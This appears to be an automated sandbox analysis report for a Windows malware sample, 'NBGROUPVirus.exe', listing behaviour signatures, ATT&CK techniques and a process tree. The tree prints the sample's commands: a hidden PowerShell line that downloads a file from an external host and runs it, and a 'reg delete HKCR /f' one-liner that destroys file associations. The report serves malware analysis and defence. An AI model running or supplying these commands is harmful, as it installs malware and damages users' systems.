Analysis
- user interaction
yes - max time kernel
51s - max time network
143s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
18/08/2026, 08:09
General
- Target NBGROUPVirus.exe
- Size 240KB
- Sample260818-j2bf4ayeng
- SHA256 d8baef826fc5607efb38a274524f9451bd893bc46c58be1d4f914bef50bd1b97
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Modifies system executable filetype association 2 TTPs 16 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Modifies registry class 64 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\NBGROUPVirus.exe"C:\Users\Admin\AppData\Local\Temp\NBGROUPVirus.exe"1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k reg delete HKCR /f2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg delete HKCR /f3⤵
- Modifies system executable filetype association
- Modifies registry class
-
-
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004F4 0x00000000000005001⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Persistence
Event Triggered Execution
2Change Default File Association
1Component Object Model Hijacking
1Replay Monitor
Loading Replay Monitor...
Downloads
memory/4600-0-0x00007FFE8B8FF000-0x00007FFE8B900000-memory.dmp
memory/4600-1-0x0000000000C30000-0x0000000000C72000-memory.dmp
memory/4600-2-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4600-3-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4600-4-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4600-5-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4600-6-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4600-7-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4600-8-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4600-9-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/4600-10-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/5732-14-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/5732-18-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/5732-17-0x0000027DBB8E0000-0x0000027DBB902000-memory.dmp
memory/5732-19-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/5732-20-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/5732-21-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/5732-22-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/5732-23-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/5732-24-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/5732-26-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/5732-27-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/5732-25-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/5732-28-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/5732-29-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/5732-30-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp
memory/5732-32-0x00007FFE8B770000-0x00007FFE8C114000-memory.dmp